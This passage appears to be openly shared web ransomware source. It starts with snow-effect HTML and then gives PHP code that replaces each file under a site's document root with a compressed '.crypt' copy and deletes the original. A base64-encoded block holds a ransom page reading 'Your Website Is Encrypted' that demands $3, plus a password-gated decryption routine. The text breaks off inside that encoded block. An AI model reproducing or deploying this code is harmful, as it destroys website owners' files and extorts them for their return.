8px; height: 8px; font-family: arial, verdana; overflow: hidden; font-weight: normal; z-index: 0; display: block; bottom: auto; opacity: 1; padding: 0px; margin: 0px; font-size: 10px; line-height: 10px; text-align: center; vertical-align: baseline; left: 1207.04px; top: 41.5749px;">•</div><div style="color: rgb(255, 255, 255); position: absolute; width: 8px; height: 8px; font-family: arial, verdana; overflow: hidden; font-weight: normal; z-index: 0; display: block; bottom: auto; opacity: 1; padding: 0px; margin: 0px; font-size: 12px; line-height: 10px; text-align: center; vertical-align: baseline; left: 1620.25px; top: 151.186px;">•</div><div style="color: rgb(255, 255, 255); position: absolute; width: 8px; height: 8px; font-family: arial, verdana; overflow: hidden; font-weight: normal; z-index: 0; display: block; bottom: auto; opacity: 1; padding: 0px; margin: 0px; font-size: 10px; line-height: 10px; text-align: center; vertical-align: baseline; left: 440.876px; top: -98.5352px;">•</div><div style="color: rgb(255, 255, 255); position: absolute; width: 8px; height: 8px; font-family: arial, verdana; overflow: hidden; font-weight: normal; z-index: 0; display: block; bottom: auto; opacity: 1; padding: 0px; margin: 0px; font-size: 12px; line-height: 10px; text-align: center; vertical-align: baseline; left: 1599.07px; top: 274.269px;">•</div><div style="color: rgb(255, 255, 255); position: absolute; width: 8px; height: 8px; font-family: arial, verdana; overflow: hidden; font-weight: normal; z-index: 0; display: block; bottom: auto; opacity: 1; padding: 0px; margin: 0px; font-size: 12px; line-height: 10px; text-align: center; vertical-align: baseline; left: 1332.54px; top: 306.937px;">•</div><div style="color: rgb(255, 255, 255); position: absolute; width: 8px; height: 8px; font-family: arial, verdana; overflow: hidden; font-weight: normal; z-index: 0; display: block; bottom: auto; opacity: 1; padding: 0px; margin: 0px; font-size: 16px; line-height: 10px; text-align: center; vertical-align: baseline; left: 640.282px; top: -47.9045px;">•</div><div style="color: rgb(255, 255, 255); position: absolute; width: 8px; height: 8px; font-family: arial, verdana; overflow: hidden; font-weight: normal; z-index: 0; display: block; bottom: auto; opacity: 1; padding: 0px; margin: 0px; font-size: 14px; line-height: 10px; text-align: center; vertical-align: baseline; left: 367.676px; top: 45.1288px;">•</div><div style="color: rgb(255, 255, 255); position: absolute; width: 8px; height: 8px; font-family: arial, verdana; overflow: hidden; font-weight: normal; z-index: 0; display: block; bottom: auto; opacity: 1; padding: 0px; margin: 0px; font-size: 16px; line-height: 10px; text-align: center; vertical-align: baseline; left: 64.2315px; top: 289.547px;">•</div><div style="color: rgb(255, 255, 255); position: absolute; width: 8px; height: 8px; font-family: arial, verdana; overflow: hidden; font-weight: normal; z-index: 0; display: block; bottom: auto; opacity: 1; padding: 0px; margin: 0px; font-size: 14px; line-height: 10px; text-align: center; vertical-align: baseline; left: 1138.26px; top: 25.4095px;">•</div><div style="color: rgb(255, 255, 255); position: absolute; width: 8px; height: 8px; font-family: arial, verdana; overflow: hidden; font-weight: normal; z-index: 0; display: block; bottom: auto; opacity: 0.45; padding: 0px; margin: 0px; font-size: 6.3px; line-height: 13.3px; text-align: center; vertical-align: baseline; left: 101.1px; top: 425.433px;">•</div><div style="color: rgb(255, 255, 255); position: absolute; width: 8px; height: 8px; font-family: arial, verdana; overflow: hidden; font-weight: normal; z-index: 0; display: block; bottom: auto; opacity: 1; padding: 0px; margin: 0px; font-size: 14px; line-height: 10px; text-align: center; vertical-align: baseline; left: 1296.67px; top: 40.2609px;">•</div><div style="color: rgb(255, 255, 255); position: absolute; width: 8px; height: 8px; font-family: arial, verdana; overflow: hidden; font-weight: normal; z-index: 0; display: block; bottom: auto; opacity: 1; padding: 0px; margin: 0px; font-size: 20px; line-height: 10px; text-align: center; vertical-align: baseline; left: 1757px; top: -68px;">•</div><div style="color: rgb(255, 255, 255); position: absolute; width: 8px; height: 8px; font-family: arial, verdana; overflow: hidden; font-weight: normal; z-index: 0; display: block; bottom: auto; opacity: 1; padding: 0px; margin: 0px; font-size: 18px; line-height: 10px; text-align: center; vertical-align: baseline; left: 1014px; top: -418px;">•</div><div style="color: rgb(255, 255, 255); position: absolute; width: 8px; height: 8px; font-family: arial, verdana; overflow: hidden; font-weight: normal; z-index: 0; display: block; bottom: auto; opacity: 1; padding: 0px; margin: 0px; font-size: 16px; line-height: 10px; text-align: center; vertical-align: baseline; left: 463px; top: -772px;">•</div><div style="color: rgb(255, 255, 255); position: absolute; width: 8px; height: 8px; font-family: arial, verdana; overflow: hidden; font-weight: normal; z-index: 0; display: block; bottom: auto; opacity: 1; padding: 0px; margin: 0px; font-size: 14px; line-height: 10px; text-align: center; vertical-align: baseline; left: 1761px; top: -859px;">•</div><div style="color: rgb(255, 255, 255); position: absolute; width: 8px; height: 8px; font-family: arial, verdana; overflow: hidden; font-weight: normal; z-index: 0; display: block; bottom: auto; opacity: 1; padding: 0px; margin: 0px; font-size: 14px; line-height: 10px; text-align: center; vertical-align: baseline; left: 1576px; top: -881px;">•</div><div style="color: rgb(255, 255, 255); position: absolute; width: 8px; height: 8px; font-family: arial, verdana; overflow: hidden; font-weight: normal; z-index: 0; display: block; bottom: auto; opacity: 1; padding: 0px; margin: 0px; font-size: 10px; line-height: 10px; text-align: center; vertical-align: baseline; left: 80px; top: -801px;">•</div><div style="color: rgb(255, 255, 255); position: absolute; width: 8px; height: 8px; font-family: arial, verdana; overflow: hidden; font-weight: normal; z-index: 0; display: block; bottom: auto; opacity: 1; padding: 0px; margin: 0px; font-size: 10px; line-height: 10px; text-align: center; vertical-align: baseline; left: 96px; top: -164px;">•</div><div style="color: rgb(255, 255, 255); position: absolute; width: 8px; height: 8px; font-family: arial, verdana; overflow: hidden; font-weight: normal; z-index: 0; display: block; bottom: auto; opacity: 1; padding: 0px; margin: 0px; font-size: 14px; line-height: 10px; text-align: center; vertical-align: baseline; left: 401px; top: -936px;">•</div><div style="color: rgb(255, 255, 255); position: absolute; width: 8px; height: 8px; font-family: arial, verdana; overflow: hidden; font-weight: normal; z-index: 0; display: block; bottom: auto; opacity: 1; padding: 0px; margin: 0px; font-size: 12px; line-height: 10px; text-align: center; vertical-align: baseline; left: 908px; top: -786px;">•</div><div style="color: rgb(255, 255, 255); position: absolute; width: 8px; height: 8px; font-family: arial, verdana; overflow: hidden; font-weight: normal; z-index: 0; display: block; bottom: auto; opacity: 1; padding: 0px; margin: 0px; font-size: 14px; line-height: 10px; text-align: center; vertical-align: baseline; left: 975px; top: -538px;">•</div><div style="color: rgb(255, 255, 255); position: absolute; width: 8px; height: 8px; font-family: arial, verdana; overflow: hidden; font-weight: normal; z-index: 0; display: block; bottom: auto; opacity: 1; padding: 0px; margin: 0px; font-size: 12px; line-height: 10px; text-align: center; vertical-align: baseline; left: 737px; top: -139px;">•</div><div style="color: rgb(255, 255, 255); position: absolute; width: 8px; height: 8px; font-family: arial, verdana; overflow: hidden; font-weight: normal; z-index: 0; display: block; bottom: auto; opacity: 1; padding: 0px; margin: 0px; font-size: 14px; line-height: 10px; text-align: center; vertical-align: baseline; left: 135px; top: -910px;">•</div><div style="color: rgb(255, 255, 255); position: absolute; width: 8px; height: 8px; font-family: arial, verdana; overflow: hidden; font-weight: normal; z-index: 0; display: block; bottom: auto; opacity: 1; padding: 0px; margin: 0px; font-size: 10px; line-height: 10px; text-align: center; vertical-align: baseline; left: 496px; top: -241px;">•</div><div style="color: rgb(255, 255, 255); position: absolute; width: 8px; height: 8px; font-family: arial, verdana; overflow: hidden; font-weight: normal; z-index: 0; display: block; bottom: auto; opacity: 1; padding: 0px; margin: 0px; font-size: 16px; line-height: 10px; text-align: center; vertical-align: baseline; left: 1251px; top: -929px;">•</div><div style="color: rgb(255, 255, 255); position: absolute; width: 8px; height: 8px; font-family: arial, verdana; overflow: hidden; font-weight: normal; z-index: 0; display: block; bottom: auto; opacity: 1; padding: 0px; margin: 0px; font-size: 18px; line-height: 10px; text-align: center; vertical-align: baseline; left: 474px; top: -410px;">•</div><div style="color: rgb(255, 255, 255); position: absolute; width: 8px; height: 8px; font-family: arial, verdana; overflow: hidden; font-weight: normal; z-index: 0; display: block; bottom: auto; opacity: 1; padding: 0px; margin: 0px; font-size: 14px; line-height: 10px; text-align: center; vertical-align: baseline; left: 1084px; top: -807px;">•</div><div style="color: rgb(255, 255, 255); position: absolute; width: 8px; height: 8px; font-family: arial, verdana; overflow: hidden; font-weight: normal; z-index: 0; display: block; bottom: auto; opacity: 1; padding: 0px; margin: 0px; font-size: 12px; line-height: 10px; text-align: center; vertical-align: baseline; left: 162px; top: -516px;">•</div><div style="color: rgb(255, 255, 255); position: absolute; width: 8px; height: 8px; font-family: arial, verdana; overflow: hidden; font-weight: normal; z-index: 0; display: block; bottom: auto; opacity: 1; padding: 0px; margin: 0px; font-size: 20px; line-height: 10px; text-align: center; vertical-align: baseline; left: 1258px; top: -880px;">•</div><div style="color: rgb(255, 255, 255); position: absolute; width: 8px; height: 8px; font-family: arial, verdana; overflow: hidden; font-weight: normal; z-index: 0; display: block; bottom: auto; opacity: 1; padding: 0px; margin: 0px; font-size: 12px; line-height: 10px; text-align: center; vertical-align: baseline; left: 1027px; top: -134px;">•</div><div style="color: rgb(255, 255, 255); position: absolute; width: 8px; height: 8px; font-family: arial, verdana; overflow: hidden; font-weight: normal; z-index: 0; display: block; bottom: auto; opacity: 1; padding: 0px; margin: 0px; font-size: 12px; line-height: 10px; text-align: center; vertical-align: baseline; left: 1171px; top: -441px;">•</div><div style="color: rgb(255, 255, 255); position: absolute; width: 8px; height: 8px; font-family: arial, verdana; overflow: hidden; font-weight: normal; z-index: 0; display: block; bottom: auto; opacity: 1; padding: 0px; margin: 0px; font-size: 18px; line-height: 10px; text-align: center; vertical-align: baseline; left: 1048px; top: -709px;">•</div><div style="color: rgb(255, 255, 255); position: absolute; width: 8px; height: 8px; font-family: arial, verdana; overflow: hidden; font-weight: normal; z-index: 0; display: block; bottom: auto; opacity: 1; padding: 0px; margin: 0px; font-size: 16px; line-height: 10px; text-align: center; vertical-align: baseline; left: 352px; top: -180px;">•</div><div style="color: rgb(255, 255, 255); position: absolute; width: 8px; height: 8px; font-family: arial, verdana; overflow: hidden; font-weight: normal; z-index: 0; display: block; bottom: auto; opacity: 1; padding: 0px; margin: 0px; font-size: 10px; line-height: 10px; text-align: center; vertical-align: baseline; left: 375px; top: -288px;">•</div><div style="color: rgb(255, 255, 255); position: absolute; width: 8px; height: 8px; font-family: arial, verdana; overflow: hidden; font-weight: normal; z-index: 0; display: block; bottom: auto; opacity: 1; padding: 0px; margin: 0px; font-size: 12px; line-height: 10px; text-align: center; vertical-align: baseline; left: 1539px; top: -899px;">•</div><div style="color: rgb(255, 255, 255); position: absolute; width: 8px; height: 8px; font-family: arial, verdana; overflow: hidden; font-weight: normal; z-index: 0; display: block; bottom: auto; opacity: 1; padding: 0px; margin: 0px; font-size: 12px; line-height: 10px; text-align: center; vertical-align: baseline; left: 19px; top: -828px;">•</div><div style="color: rgb(255, 255, 255); position: absolute; width: 8px; height: 8px; font-family: arial, verdana; overflow: hidden; font-weight: normal; z-index: 0; display: block; bottom: auto; opacity: 1; padding: 0px; margin: 0px; font-size: 10px; line-height: 10px; text-align: center; vertical-align: baseline; left: 728px; top: -875px;">•</div><div style="color: rgb(255, 255, 255); position: absolute; width: 8px; height: 8px; font-family: arial, verdana; overflow: hidden; font-weight: normal; z-index: 0; display: block; bottom: auto; opacity: 1; padding: 0px; margin: 0px; font-size: 16px; line-height: 10px; text-align: center; vertical-align: baseline; left: 242px; top: -172px;">•</div><div style="color: rgb(255, 255, 255); position: absolute; width: 8px; height: 8px; font-family: arial, verdana; overflow: hidden; font-weight: normal; z-index: 0; display: block; bottom: auto; opacity: 1; padding: 0px; margin: 0px; font-size: 12px; line-height: 10px; text-align: center; vertical-align: baseline; left: 338px; top: -379px;">•</div><div style="color: rgb(255, 255, 255); position: absolute; width: 8px; height: 8px; font-family: arial, verdana; overflow: hidden; font-weight: normal; z-index: 0; display: block; bottom: auto; opacity: 1; padding: 0px; margin: 0px; font-size: 16px; line-height: 10px; text-align: center; vertical-align: baseline; left: 1285px; top: -839px;">•</div><div style="color: rgb(255, 255, 255); position: absolute; width: 8px; height: 8px; font-family: arial, verdana; overflow: hidden; font-weight: normal; z-index: 0; display: block; bottom: auto; opacity: 1; padding: 0px; margin: 0px; font-size: 20px; line-height: 10px; text-align: center; vertical-align: baseline; left: 276px; top: -483px;">•</div><div style="color: rgb(255, 255, 255); position: absolute; width: 8px; height: 8px; font-family: arial, verdana; overflow: hidden; font-weight: normal; z-index: 0; display: block; bottom: auto; opacity: 1; padding: 0px; margin: 0px; font-size: 16px; line-height: 10px; text-align: center; vertical-align: baseline; left: 823px; top: -269px;">•</div><div style="color: rgb(255, 255, 255); position: absolute; width: 8px; height: 8px; font-family: arial, verdana; overflow: hidden; font-weight: normal; z-index: 0; display: block; bottom: auto; opacity: 1; padding: 0px; margin: 0px; font-size: 14px; line-height: 10px; text-align: center; vertical-align: baseline; left: 1206px; top: -75px;">•</div><div style="color: rgb(255, 255, 255); position: absolute; width: 8px; height: 8px; font-family: arial, verdana; overflow: hidden; font-weight: normal; z-index: 0; display: block; bottom: auto; opacity: 1; padding: 0px; margin: 0px; font-size: 14px; line-height: 10px; text-align: center; vertical-align: baseline; left: 1005px; top: -326px;">•</div><div style="color: rgb(255, 255, 255); position: absolute; width: 8px; height: 8px; font-family: arial, verdana; overflow: hidden; font-weight: normal; z-index: 0; display: block; bottom: auto; opacity: 1; padding: 0px; margin: 0px; font-size: 16px; line-height: 10px; text-align: center; vertical-align: baseline; left: 530px; top: -457px;">•</div><div style="color: rgb(255, 255, 255); position: absolute; width: 8px; height: 8px; font-family: arial, verdana; overflow: hidden; font-weight: normal; z-index: 0; display: block; bottom: auto; opacity: 1; padding: 0px; margin: 0px; font-size: 10px; line-height: 10px; text-align: center; vertical-align: baseline; left: 691px; top: -649px;">•</div><div style="color: rgb(255, 255, 255); position: absolute; width: 8px; height: 8px; font-family: arial, verdana; overflow: hidden; font-weight: normal; z-index: 0; display: block; bottom: auto; opacity: 1; padding: 0px; margin: 0px; font-size: 10px; line-height: 10px; text-align: center; vertical-align: baseline; left: 488px; top: -263px;">•</div><div style="color: rgb(255, 255, 255); position: absolute; width: 8px; height: 8px; font-family: arial, verdana; overflow: hidden; font-weight: normal; z-index: 0; display: block; bottom: auto; opacity: 1; padding: 0px; margin: 0px; font-size: 20px; line-height: 10px; text-align: center; vertical-align: baseline; left: 452px; top: -123px;">•</div><div style="color: rgb(255, 255, 255); position: absolute; width: 8px; height: 8px; font-family: arial, verdana; overflow: hidden; font-weight: normal; z-index: 0; display: block; bottom: auto; opacity: 1; padding: 0px; margin: 0px; font-size: 20px; line-height: 10px; text-align: center; vertical-align: baseline; left: 1235px; top: -193px;">•</div><div style="color: rgb(255, 255, 255); position: absolute; width: 8px; height: 8px; font-family: arial, verdana; overflow: hidden; font-weight: normal; z-index: 0; display: block; bottom: auto; opacity: 1; padding: 0px; margin: 0px; font-size: 18px; line-height: 10px; text-align: center; vertical-align: baseline; left: 472px; top: -39px;">•</div><div style="color: rgb(255, 255, 255); position: absolute; width: 8px; height: 8px; font-family: arial, verdana; overflow: hidden; font-weight: normal; z-index: 0; display: block; bottom: auto; opacity: 1; padding: 0px; margin: 0px; font-size: 20px; line-height: 10px; text-align: center; vertical-align: baseline; left: 1195px; top: -321px;">•</div><div style="color: rgb(255, 255, 255); position: absolute; width: 8px; height: 8px; font-family: arial, verdana; overflow: hidden; font-weight: normal; z-index: 0; display: block; bottom: auto; opacity: 1; padding: 0px; margin: 0px; font-size: 18px; line-height: 10px; text-align: center; vertical-align: baseline; left: 136px; top: -474px;">•</div><div style="color: rgb(255, 255, 255); position: absolute; width: 8px; height: 8px; font-family: arial, verdana; overflow: hidden; font-weight: normal; z-index: 0; display: block; bottom: auto; opacity: 1; padding: 0px; margin: 0px; font-size: 10px; line-height: 10px; text-align: center; vertical-align: baseline; left: 460px; top: -308px;">•</div><div style="color: rgb(255, 255, 255); position: absolute; width: 8px; height: 8px; font-family: arial, verdana; overflow: hidden; font-weight: normal; z-index: 0; display: block; bottom: auto; opacity: 1; padding: 0px; margin: 0px; font-size: 20px; line-height: 10px; text-align: center; vertical-align: baseline; left: 27px; top: -656px;">•</div><div style="color: rgb(255, 255, 255); position: absolute; width: 8px; height: 8px; font-family: arial, verdana; overflow: hidden; font-weight: normal; z-index: 0; display: block; bottom: auto; opacity: 1; padding: 0px; margin: 0px; font-size: 18px; line-height: 10px; text-align: center; vertical-align: baseline; left: 1247px; top: -205px;">•</div><div style="color: rgb(255, 255, 255); position: absolute; width: 8px; height: 8px; font-family: arial, verdana; overflow: hidden; font-weight: normal; z-index: 0; display: block; bottom: auto; opacity: 1; padding: 0px; margin: 0px; font-size: 20px; line-height: 10px; text-align: center; vertical-align: baseline; left: 1472px; top: -49px;">•</div><div style="color: rgb(255, 255, 255); position: absolute; width: 8px; height: 8px; font-family: arial, verdana; overflow: hidden; font-weight: normal; z-index: 0; display: block; bottom: auto; opacity: 1; padding: 0px; margin: 0px; font-size: 18px; line-height: 10px; text-align: center; vertical-align: baseline; left: 1334px; top: -788px;">•</div><div style="color: rgb(255, 255, 255); position: absolute; width: 8px; height: 8px; font-family: arial, verdana; overflow: hidden; font-weight: normal; z-index: 0; display: block; bottom: auto; opacity: 1; padding: 0px; margin: 0px; font-size: 20px; line-height: 10px; text-align: center; vertical-align: baseline; left: 1113px; top: -10px;">•</div><div style="color: rgb(255, 255, 255); position: absolute; width: 8px; height: 8px; font-family: arial, verdana; overflow: hidden; font-weight: normal; z-index: 0; display: block; bottom: auto; opacity: 1; padding: 0px; margin: 0px; font-size: 16px; line-height: 10px; text-align: center; vertical-align: baseline; left: 1281px; top: -107px;">•</div><div style="color: rgb(255, 255, 255); position: absolute; width: 8px; height: 8px; font-family: arial, verdana; overflow: hidden; font-weight: normal; z-index: 0; display: block; bottom: auto; opacity: 1; padding: 0px; margin: 0px; font-size: 12px; line-height: 10px; text-align: center; vertical-align: baseline; left: 889px; top: -917px;">•</div><div style="color: rgb(255, 255, 255); position: absolute; width: 8px; height: 8px; font-family: arial, verdana; overflow: hidden; font-weight: normal; z-index: 0; display: block; bottom: auto; opacity: 1; padding: 0px; margin: 0px; font-size: 16px; line-height: 10px; text-align: center; vertical-align: baseline; left: 1727px; top: -219px;">•</div><div style="color: rgb(255, 255, 255); position: absolute; width: 8px; height: 8px; font-family: arial, verdana; overflow: hidden; font-weight: normal; z-index: 0; display: block; bottom: auto; opacity: 1; padding: 0px; margin: 0px; font-size: 14px; line-height: 10px; text-align: center; vertical-align: baseline; left: 1405px; top: -426px;">•</div><div style="color: rgb(255, 255, 255); position: absolute; width: 8px; height: 8px; font-family: arial, verdana; overflow: hidden; font-weight: normal; z-index: 0; display: block; bottom: auto; opacity: 1; padding: 0px; margin: 0px; font-size: 12px; line-height: 10px; text-align: center; vertical-align: baseline; left: 442px; top: -295px;">•</div><div style="color: rgb(255, 255, 255); position: absolute; width: 8px; height: 8px; font-family: arial, verdana; overflow: hidden; font-weight: normal; z-index: 0; display: block; bottom: auto; opacity: 1; padding: 0px; margin: 0px; font-size: 12px; line-height: 10px; text-align: center; vertical-align: baseline; left: 857px; top: -483px;">•</div><div style="color: rgb(255, 255, 255); position: absolute; width: 8px; height: 8px; font-family: arial, verdana; overflow: hidden; font-weight: normal; z-index: 0; display: block; bottom: auto; opacity: 1; padding: 0px; margin: 0px; font-size: 10px; line-height: 10px; text-align: center; vertical-align: baseline; left: 84px; top: -815px;">•</div><div style="color: rgb(255, 255, 255); position: absolute; width: 8px; height: 8px; font-family: arial, verdana; overflow: hidden; font-weight: normal; z-index: 0; display: block; bottom: auto; opacity: 1; padding: 0px; margin: 0px; font-size: 10px; line-height: 10px; text-align: center; vertical-align: baseline; left: 1735px; top: -58px;">•</div><div style="color: rgb(255, 255, 255); position: absolute; width: 8px; height: 8px; font-family: arial, verdana; overflow: hidden; font-weight: normal; z-index: 0; display: block; bottom: auto; opacity: 1; padding: 0px; margin: 0px; font-size: 14px; line-height: 10px; text-align: center; vertical-align: baseline; left: 1346px; top: -633px;">•</div><div style="color: rgb(255, 255, 255); position: absolute; width: 8px; height: 8px; font-family: arial, verdana; overflow: hidden; font-weight: normal; z-index: 0; display: block; bottom: auto; opacity: 1; padding: 0px; margin: 0px; font-size: 12px; line-height: 10px; text-align: center; vertical-align: baseline; left: 1203px; top: -547px;">•</div><div style="color: rgb(255, 255, 255); position: absolute; width: 8px; height: 8px; font-family: arial, verdana; overflow: hidden; font-weight: normal; z-index: 0; display: block; bottom: auto; opacity: 1; padding: 0px; margin: 0px; font-size: 14px; line-height: 10px; text-align: center; vertical-align: baseline; left: 372px; top: -862px;">•</div><div style="color: rgb(255, 255, 255); position: absolute; width: 8px; height: 8px; font-family: arial, verdana; overflow: hidden; font-weight: normal; z-index: 0; display: block; bottom: auto; opacity: 1; padding: 0px; margin: 0px; font-size: 10px; line-height: 10px; text-align: center; vertical-align: baseline; left: 1064px; top: -732px;">•</div><div style="color: rgb(255, 255, 255); position: absolute; width: 8px; height: 8px; font-family: arial, verdana; overflow: hidden; font-weight: normal; z-index: 0; display: block; bottom: auto; opacity: 1; padding: 0px; margin: 0px; font-size: 16px; line-height: 10px; text-align: center; vertical-align: baseline; left: 769px; top: -666px;">•</div><div style="color: rgb(255, 255, 255); position: absolute; width: 8px; height: 8px; font-family: arial, verdana; overflow: hidden; font-weight: normal; z-index: 0; display: block; bottom: auto; opacity: 1; padding: 0px; margin: 0px; font-size: 18px; line-height: 10px; text-align: center; vertical-align: baseline; left: 240px; top: -347px;">•</div><div style="color: rgb(255, 255, 255); position: absolute; width: 8px; height: 8px; font-family: arial, verdana; overflow: hidden; font-weight: normal; z-index: 0; display: block; bottom: auto; opacity: 1; padding: 0px; margin: 0px; font-size: 12px; line-height: 10px; text-align: center; vertical-align: baseline; left: 271px; top: -688px;">•</div><div style="color: rgb(255, 255, 255); position: absolute; width: 8px; height: 8px; font-family: arial, verdana; overflow: hidden; font-weight: normal; z-index: 0; display: block; bottom: auto; opacity: 1; padding: 0px; margin: 0px; font-size: 12px; line-height: 10px; text-align: center; vertical-align: baseline; left: 1334px; top: -874px;">•</div></html>
Original PHP code
<head>
<meta charset='utf-8'/>
<meta content='IE=edge' http-equiv='X-UA-Compatible'/>
<meta name="theme-color"content="black">
<meta name="description"content="Ransomware">
<script src="https://cdn.rawgit.com/bungfrangki/efeksalju/2a7805c7/efek-salju.js" type="text/javascript"></script>
        <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" />
        <meta property="og:image" content="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcTHiFHseXDz3LwKUGbgiWkKq0Aqrtk0X6a1Vw&usqp=CAU">
        
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
<style>
body { 	 
display: flex;
  align-items: center;
  justify-content: center;
  min-height: 100vh;
background-image: url("https://cdn.prinsh.com/data-1/images/NathanPrinsley-rain-sad.gif");
color:pink;
    height:100%;
    background-position: center;
    background-repeat: no-repeat;
background-size: 100% 100%;
background-attachment:fixed;} 		
:-webkit-full-screen {
 
}
input { 
    background: transparent; 
    color: pink; 
    border: 1px solid green;
    width:cover;
    height:25px;
}
</style>
<?php
error_reporting(0);
set_time_limit(0);
ini_set('memory_limit', '-1');
if(isset($_POST['pass'])) {
function encfile($filename){
	if (strpos($filename, '.crypt') !== false) {
    return;
	}
	file_put_contents($filename.".crypt", gzdeflate(file_get_contents($filename), 9));
	unlink($filename);
copy('.htaccess','.htabackup');
$file = base64_decode("PHRpdGxlPlJhbnNvbXdhcmU8L3RpdGxlPgogICAgIDxtZXRhIGNoYXJzZXQ9J3V0Zi04Jy8+CjxtZXRhIGNvbnRlbnQ9J0lFPWVkZ2UnIGh0dHAtZXF1aXY9J1gtVUEtQ29tcGF0aWJsZScvPgo8bWV0YSBuYW1lPSJ0aGVtZS1jb2xvciJjb250ZW50PSJibGFjayI+CjxtZXRhIG5hbWU9ImRlc2NyaXB0aW9uImNvbnRlbnQ9ImhhY2tlZCBieSAiPgo8c2NyaXB0IHNyYz0iaHR0cHM6Ly9jZG4ucmF3Z2l0LmNvbS9idW5nZnJhbmdraS9lZmVrc2FsanUvMmE3ODA1YzcvZWZlay1zYWxqdS5qcyIgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij48L3NjcmlwdD4KICAgICAgICA8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEsIHNocmluay10by1maXQ9bm8iIC8+CiAgICAgICAgPG1ldGEgcHJvcGVydHk9Im9nOmltYWdlIiBjb250ZW50PSJodHRwczovL2VuY3J5cHRlZC10Ym4wLmdzdGF0aWMuY29tL2ltYWdlcz9xPXRibjpBTmQ5R2NUSGlGSHNlWER6M0x3S1VHYmdpV2tLcTBBcXJ0azBYNmExVncmdXNxcD1DQVUiPgogICAgICAgIAo8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS80LjcuMC9jc3MvZm9udC1hd2Vzb21lLm1pbi5jc3MiPgo8c3R5bGU+CmJvZHkgeyAJIApkaXNwbGF5OiBmbGV4OwogIGFsaWduLWl0ZW1zOiBjZW50ZXI7CiAganVzdGlmeS1jb250ZW50OiBjZW50ZXI7CiAgbWluLWhlaWdodDogMTAwdmg7CmJhY2tncm91bmQtaW1hZ2U6IHVybCgiaHR0cHM6Ly9jZG4ucHJpbnNoLmNvbS9kYXRhLTEvaW1hZ2VzL05hdGhhblByaW5zbGV5LXJhaW4tc2FkLmdpZiIpOwpjb2xvcjpwaW5rOwogICAgaGVpZ2h0OjEwMCU7CiAgICBiYWNrZ3JvdW5kLXBvc2l0aW9uOiBjZW50ZXI7CiAgICBiYWNrZ3JvdW5kLXJlcGVhdDogbm8tcmVwZWF0OwpiYWNrZ3JvdW5kLXNpemU6IDEwMCUgMTAwJTsKYmFja2dyb3VuZC1hdHRhY2htZW50OmZpeGVkO30gCQpidG5uewphbGlnbi1pdGVtczogY2VudGVyOwogICAganVzdGlmeS1jb250ZW50OiBjZW50ZXI7CiAgICBwb3NpdGlvbjogcmVsYXRpdmU7CiAgICBiYWNrZ3JvdW5kOiB0cmFuc3BhcmVudDsKICAgIGJvcmRlcjogMXB4IHNvbGlkIGdyZWVuOwogICAgbGV0dGVyLXNwYWNpbmc6IDBweDsKICAgIGNvbG9yOiByZWQ7CiAgICB3aWR0aDogNjBweDsKICAgIGhlaWdodDogMjVweDsKICAgIHBhZGRpbmc6IDA7CiAgICBmb250LXNpemU6IDE1cHg7CiAgICBmb250LXdlaWdodDogYm9sZDsKfQo8L3N0eWxlPgo8Zm9udCBjb2xvcj0icGluayI+Cjw/cGhwCmVycm9yX3JlcG9ydGluZygwKTsKJGlucHV0ID0gJF9QT1NUWydwYXNzJ107CiRwYXNzID0gImdvbWVuIjsKaWYoaXNzZXQoJGlucHV0KSkgewppZihtZDUoJGlucHV0KSA9PSAkcGFzcykgewpmdW5jdGlvbiBkZWNmaWxlKCRmaWxlbmFtZSl7CglpZiAoc3RycG9zKCRmaWxlbmFtZSwgJy5jcnlwdCcpID09PSBGQUxTRSkgewoJcmV0dXJuOwoJfQoJJGRlY3J5cHRlZCA9IGd6aW5mbGF0ZShmaWxlX2dldF9jb250ZW50cygkZmlsZW5hbWUpKTsKCWZpbGVfcHV0X2NvbnRlbnRzKHN0cl9yZXBsYWNlKCcuY3J5cHQnLCAnJywgJGZpbGVuYW1lKSwgJGRlY3J5cHRlZCk7Cgl1bmxpbmsoJ2NyeXB0LnBocCcpOwoJdW5saW5rKCcuaHRhY2Nlc3MnKTsKCXVubGluaygkZmlsZW5hbWUpOwoJZWNobyAiJGZpbGVuYW1lIERlY3J5cHRlZCAhISE8YnI+IjsKfQoKZnVuY3Rpb24gZGVjZGlyKCRkaXIpewoJJGZpbGVzID0gYXJyYXlfZGlmZihzY2FuZGlyKCRkaXIpLCBhcnJheSgnLicsICcuLicpKTsKCQlmb3JlYWNoKCRmaWxlcyBhcyAkZmlsZSkgewoJCQlpZihpc19kaXIoJGRpci4iLyIuJGZpbGUpKXsKCQkJCWRlY2RpcigkZGlyLiIvIi4kZmlsZSk7CgkJCX1lbHNlIHsKCQkJCWRlY2ZpbGUoJGRpci4iLyIuJGZpbGUpOwoJCX0KCX0KfQoKZGVjZGlyKCRfU0VSVkVSWydET0NVTUVOVF9ST09UJ10pOwplY2hvICI8YnI+V2Vicm9vdCBEZWNyeXB0ZWQ8YnI+IjsKdW5saW5rKCRfU0VSVkVSWydQSFBfU0VMRiddKTsKdW5saW5rKCcuaHRhY2Nlc3MnKTsKY29weSgnaHRhYmFja3VwJywnLmh0YWNjZXNzJyk7CmVjaG8gJ1N1Y2Nlc3MgISEhJzsKfSBlbHNlIHsKZWNobyAnRmFpbGVkIFBhc3N3b3JkICEhISc7Cn0KZXhpdCgpOwp9Cj8+CjxjZW50ZXI+CjxoMT5SYW5zb213YXJlPC9oMT4KPGJyPjxicj4KPGgzPllvdXIgV2Vic2l0ZSBJcyBFbmNyeXB0ZWQ8L2gzPgoKCkRvbid0IENoYW5nZSB0aGUgRmlsZW5hbWUgYmVjYXVzZSBpdCBDYW4gRGFtYWdlIHRoZSBGaWxlIElmIFlvdSBXYW50IHRvIFJldHVybiBZb3UgTXVzdCBFbnRlciB0aGUgUGFzc3dvcmQgRmlyc3QKPGJyPgpTZW5kIE1lICQzIEZvciBCYWNrIFlvdXIgV2Vic2l0ZSA8YnI+PGJyPgo8YnI+PGJyPgo8Zm9ybSBlbmN